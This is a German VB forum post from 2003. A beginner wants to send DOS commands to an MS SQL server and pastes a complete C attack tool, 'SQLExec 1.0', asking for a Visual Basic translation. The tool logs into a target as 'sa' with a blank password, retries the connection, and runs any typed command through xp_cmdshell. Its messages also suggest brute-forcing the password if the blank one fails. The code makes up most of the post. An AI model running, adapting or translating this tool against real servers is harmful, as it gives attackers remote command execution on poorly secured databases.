vb@rchiv
VB Classic
VB.NET
ADO.NET
VBA
C#
Top-Preis! AP-Access-Tools-CD Volume 1  
 vb@rchiv Quick-Search: Suche startenErweiterte Suche starten   Impressum  | Datenschutz  | vb@rchiv CD Vol.6  | Shop Copyright ©2000-2025
 
zurück

 Sie sind aktuell nicht angemeldet.Funktionen: Einloggen  |  Neu registrieren  |  Suchen

Visual-Basic Einsteiger
Winsock + MS SQL + C +ALLES 
Autor: S3Ri0US
Datum: 15.10.03 04:23

HiHi !

ALso ich Connecte jetzt via WInsock auf meine MSSQL datenbank ! Port 1433 !

[ Daher ichs anders nedd hinbekomme ! ]

Nur.. wann muss ich den usernamen u. das Passwort schicken ? und wie kann ich nun meine Commands an den server schicken z.b. dir c:\ ?

Danke scho ma !

Bye


SO was ähnliches habe ich auf einer Scherheitspage gefunden ! und möchte das für meine eigene Datenbank nutzen ! also das man dpsbefehle an die Datenbank schickt !


Der c++ code schaut auf der Page so aus:


#include <stdio.h>
#include <windows.h>
#include <wchar.h>
#include <sql.h>
#include <sqlext.h>
#include <lmcons.h>


int main(int argc, char *argv[])
{
SQLCHAR Host[512]="";
SQLCHAR *User=";UID=sa";
SQLCHAR *Pass=";PWD=";
SQLCHAR *Database="";
SQLCHAR InConnectionString[1025]="";
SQLCHAR rowBuff[200]="";
SQLINTEGER iRowBuff;
UCHAR Query[1500]="";
UCHAR Cmd[300]="";
char inBuff[1025]="";
SQLRETURN nResult;
SWORD sLen;
SQLHDBC hDbc;
HSTMT hStmt;
SQLHANDLE hEnvironment;
int retries = 0;
if(argc !=2)
{
printf("\n\n-------------SQLExec 1.0 for Windows NT/2K/9X-------------\n\nBy Egemen Tas (Send all feedbacks and bug reports to egemen@btkom.com)\n\n");
printf("\nUsage : SQLExec <Hostname> \n!!!!(Do not use ip addresses of targets)!!!!\n");
return 0;
}
printf("\n\n-------------SQLExec 1.0 for Windows NT/2K/9X----------------\n\nBy Egemen Tas (Send all feedbacks and bug reports to egemen@btkom.com)\n\n");
memset(Query,0,1499);
strcpy(Host,argv[1]);
sprintf(InConnectionString,"DRIVER={SQL Server};SERVER=%s%s%s%s",Host,User,Pass,Database);

if (SQLAllocHandle(SQL_HANDLE_ENV,SQL_NULL_HANDLE,&hEnvironment) != SQL_SUCCESS)
{
printf("SQLAllocHandle returned an error!\n");
return 0;
}

if (SQLSetEnvAttr(hEnvironment, SQL_ATTR_ODBC_VERSION,(SQLPOINTER)
SQL_OV_ODBC3, SQL_IS_INTEGER) != SQL_SUCCESS)
{
printf("SQLSetEnvAttr returned an error!\n");
return 0;

}

if ((nResult = SQLAllocHandle(SQL_HANDLE_DBC,hEnvironment,(SQLHDBC FAR*)&hDbc)) != SQL_SUCCESS)
{
printf("SQLAllocHandle returned an error!\n");
return 0;
}

while(retries < 4)
{
nResult = SQLDriverConnect(hDbc,NULL, InConnectionString,
strlen(InConnectionString),
inBuff, 1024, &sLen,
SQL_DRIVER_COMPLETE_REQUIRED);
if(nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO)
{
printf("Ok.You have connected to MASTER database...\n");
SQLAllocStmt(hDbc,&hStmt);
break;
}
else
{
if(retries == 3)
{
printf("\nCould not connect to the SQL Server on the target!\n\nMake sure you use !!HOSTNAME NOT IP!!\n"
"If you are using dial-up connection retry for a few times.\n"
"If you are sure that SQL server is installed on the target check that port 1433 is open.\n"
"If port 1433 is open and you have tried several times to connect, then probably SA does not have a NULL password.\n"
"Get a SQL server brute force cracker , try to hack passwords and try again.\n"
"If you are a script kiddy then go (www.technotronic.com or packetstorm.securify.com) , find some documents , read them at least 1 year and try again.");

return 0;
}
retries++;
printf("Performing retry(%d)...\n",retries);
Sleep(5000);
}
}
printf("Now type dos command(s) to execute :");
fgets(Cmd,299,stdin);
Cmd[strlen(Cmd)-1]='\0';
sprintf(Query,"EXEC master..xp_cmdshell \"%s\"",Cmd);
printf("Trying to execute %s on the target\n",Cmd);
if(SQLExecDirect(hStmt,Query,SQL_NTS) != SQL_SUCCESS)
{
printf("An error occured while performing your query."
"This does not mean that your command is unsuccesfull...\n"
"Check the result.If it didnt work then \n"
"make sure you did not use duplicate keywords with ODBC api\n or the target does not have ' xp_cmdshell ' stored procedure.");
return 0;
}
while (nResult != SQL_ERROR)
{
memset(rowBuff,0,99);
nResult = SQLFetch(hStmt);
if (nResult == SQL_ERROR || nResult == SQL_SUCCESS_WITH_INFO)
{
printf("Error while fething the results from the stored proc.\n");
}
if (nResult == SQL_SUCCESS || nResult == SQL_SUCCESS_WITH_INFO){


SQLGetData(hStmt, 1, SQL_C_CHAR, rowBuff, 100, &iRowBuff);
printf("%s \n",rowBuff);
} else
{
break;
}
}
SQLFreeHandle(SQL_HANDLE_DBC,&hDbc);
SQLFreeHandle(SQL_HANDLE_ENV,&hEnvironment);
SQLFreeHandle(SQL_HANDLE_STMT,&hStmt);

return 0;
}



Ich habe leider absolut kein Plan von C++ ! Aber ein bekannter hat gemeint das das hier so was ähnliches ist was ich Programmieren möcte ! jetzt brauch ich halt ne Übersetzung ..

Ich dank euch schon mal !

Bye
alle Nachrichten anzeigenGesamtübersicht  |  Zum Thema  |  Suchen

 ThemaViews  AutorDatum
Winsock + MS SQL + C +ALLES585S3Ri0US15.10.03 04:23
Re: Winsock + MS SQL + C +ALLES331Wolfgang15.10.03 21:41
Re: Winsock + MS SQL + C +ALLES341S3Ri0US16.10.03 00:00

Sie sind nicht angemeldet!
Um auf diesen Beitrag zu antworten oder neue Beiträge schreiben zu können, müssen Sie sich zunächst anmelden.

Einloggen  |  Neu registrieren

Funktionen:  Zum Thema  |  GesamtübersichtSuchen 

nach obenzurück
 
   

Copyright ©2000-2025 vb@rchiv Dieter Otter
Alle Rechte vorbehalten.
Microsoft, Windows und Visual Basic sind entweder eingetragene Marken oder Marken der Microsoft Corporation in den USA und/oder anderen Ländern. Weitere auf dieser Homepage aufgeführten Produkt- und Firmennamen können geschützte Marken ihrer jeweiligen Inhaber sein.

Diese Seiten wurden optimiert für eine Bildschirmauflösung von mind. 1280x1024 Pixel